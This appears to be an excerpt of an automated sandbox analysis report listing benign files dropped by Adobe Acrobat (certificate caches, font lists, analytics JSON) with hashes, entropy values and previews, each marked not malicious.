SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7237529899615143
Encrypted:	false
SSDEEP:	3:kkFklNLLtfllXlE/HT8k1ktNNX8RolJuRdxLlGB9lQRYwpDdt:kKyeT88cNMa8RdWBwRd
MD5:	02FB2E2CD9DE9550806DADAEDE63CA21
SHA1:	EF435F41B7C6407AC5A123D0DE1875418E2A7FED
SHA-256:	25E49DCF889166383742D6385BBCF09EA7F9C8B2D5E79598308265BE19AFAA1C
SHA-512:	782F55132E4CD6E9BCDF7D41263E110AAD9BD43ECE679E0DF6152722FFCAA28CE3DD47151CEE39B3D5E27004C36D1D0A6D5C4F96CEBCB768D5B08EE58AFA465B
Malicious:	false
Preview:	p...... ..........g..c..(....................................................... ..........W....Ps..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK8EyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9yiDImsLNkPlE99SNxAhUe/3
MD5:	94F7BC815EB0A1AC41C864EAE4830BC7
SHA1:	C35C6D997592B5AC1F31B2E3A8DA7CB63CE9D9C8
SHA-256:	95377715B9C5F6D3B90C2CDAF00079823772F9E7FD422DF7C08DD67439A5715F
SHA-512:	4D2DF6F2E1459D098C2369D7ADD97057A8928B22690E23C825B82700E432933D050B757E4C9AAEBF59574D00124CD257103355EB957A7474920CB22052294692
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7880

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7880

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335871589451067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJM3g98kUwPeUkwRe9:YvXKXsFT5LjIPKGMbLUkee9
MD5:	950DB171333DF8D125AA963FACB481F5
SHA1:	35D704E23F619B4BD78D09FD83CA47BCB9810EFE
SHA-256:	35B405A27F62D9FC4F4A5AA7D17CAAA72D76574A2E4690A75C7C95A97BEB17A3
SHA-512:	D26953153FD814E91B988F004DE91AFF0ECC9E7AD637732CE702B4B513EF741069BA614E6C98BE8801A4C2F3473200682840CC48F22F3984EEBB32BF2EA90CDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284867234933255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfBoTfXpnrPeUkwRe9:YvXKXsFT5LjIPKGWTfXcUkee9
MD5:	2A0C8756A2E0B1ABCEA2E25B07FB6F54
SHA1:	984BEEF7BD897C903E50318D9864D6B86EAA8E97
SHA-256:	7A549B5A542E6D44947B27E16EF5B3592F550C4EFADC17D42B2B7E4D6BF6D0D7
SHA-512:	01C5F9A90BE87405479FBD0AD271234131E3EA7A6110F0698F3A036132943E261E1F3408F2EEC345C00BA216982C97A348E9DB4031ED2E51085374EA4F153FC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263159452984038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfBD2G6UpnrPeUkwRe9:YvXKXsFT5LjIPKGR22cUkee9
MD5:	AA8AB06A62422B5D9EC11DADDDF1E2EB
SHA1:	62E98FC87B4F406FEA43F1BAC6A7555E189201A0
SHA-256:	83F7FE79518EE7E6F8878A8BA67F64D53869C098A8074FB93ABBF6750D513977
SHA-512:	6C8C77B5C65169E5D899CD9E162A9CD2E48251321D14E5A30A2D44D029CF72D561E4EE32E764B351C77F55146EE254B4D60B8736B6A449222C2FCAA87DE72555
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.315908997558365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfPmwrPeUkwRe9:YvXKXsFT5LjIPKGH56Ukee9
MD5:	1B16E97E18CA1B70F3B777807806FC98
SHA1:	BCB0E4CA189384C9E9D86A40C2226CB5CE171718
SHA-256:	47050CD9E0D739929022D423CF28B4319147DC383D26F211DC0A4C65FFACB658
SHA-512:	CFC473127C45DF2E93A8E9B48AEC1943F5A3499ED7FD18E8CEE21B8D6498FC8B8E119049D31678256E2E4CD5C3197F26787D16E4C9E03FC1529E3EB99B103861
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685475242126158
Encrypted:	false
SSDEEP:	24:Yv6XCT5XIfpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:YvPXehgy6SAFv5Ah8cv/4
MD5:	DD5925DC679841C7AFF2AE66F7342EFD
SHA1:	2388DF1747E88A332DF8E7B62016EAFEFC6DDE59
SHA-256:	9B975AD8CC56507CE692A3BCD28BF0F4532E4AA94A60BC64255B97430BA40360
SHA-512:	70FA6BE1E4290ECB78168A3E6B43CC81EFCF606EF30DB8BA9D7E0E01174D0A93B7B77C448FA15C5DD2BF1C4D19B8B18C7ABBB66E907A4841AAAD9E58C9322EDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282883874640637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJf8dPeUkwRe9:YvXKXsFT5LjIPKGU8Ukee9
MD5:	741983D7B655146ED8054775C29EC410
SHA1:	C9514749C8C7C4D18DA87C0AFA0C614F7E346453
SHA-256:	C2893C4D2809C2684F9A1A3267FFA3B084F1FDD9432B151B92CBDBCF6A681E16
SHA-512:	46C1AE6C7DE2539D93FB94C2E6B001BD68504657941232CFC7E59579573301454EEAEA7D57EADFAE29695B8D5806A1C133FF9E55BCEEEA9D6DD27F0562DB0A01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.274354592139899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfQ1rPeUkwRe9:YvXKXsFT5LjIPKGY16Ukee9
MD5:	74B3C3966CE1FC279C8DD260F40D9EE7
SHA1:	A9E8615064269EFE6A78A6A6C25D082BEF8C3E1A
SHA-256:	412A1DCBAD459F4FB68A1224DF230CF79A62068904A2D3D95BB81F4DA6D9783A
SHA-512:	000042EDAE39296E1972E20F96C38BA2D68D52D39519B7460C5EF8844196D40525D30FAEF1C85095D7D962C7D1349D003A9261CC7909D9246CE1DCD169F478DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2911513497796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfFldPeUkwRe9:YvXKXsFT5LjIPKGz8Ukee9
MD5:	C9A58646D908962516C3B49DA1FAADFA
SHA1:	5734CA1C802F95EBF07D849957EB124278156075
SHA-256:	0883591F315E72B9CC0FDF9A3D3F9BA1EFE644D86D420BF001DEF434C407E3DF
SHA-512:	C06C68B4CB0098027AB69A40001EDAED3CD66D8BC383CF233D57452D2A112F08B457698516B225177CFD323AD582BA1009082FF7EF3F8B48357E0606157AA461
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309416091944617
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfzdPeUkwRe9:YvXKXsFT5LjIPKGb8Ukee9
MD5:	3F22A411A10B7553CEAD16B18A77CF4B
SHA1:	1DA5A958818B167106B40AB8C42546BD26A0F662
SHA-256:	35B065480D07F133C6C70F9BA55A4BFB34A69D817040CF0623F0C08FBDF4E0BB
SHA-512:	3E90125D473B2419758CCAF74C867A54A8CE6AF7BDA6BEAAC0AA24EFD6B7AFF4C611C693198B793497F7ABA79D59E68A00980C87FD5F4CF129AF91F1EC7CC998
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

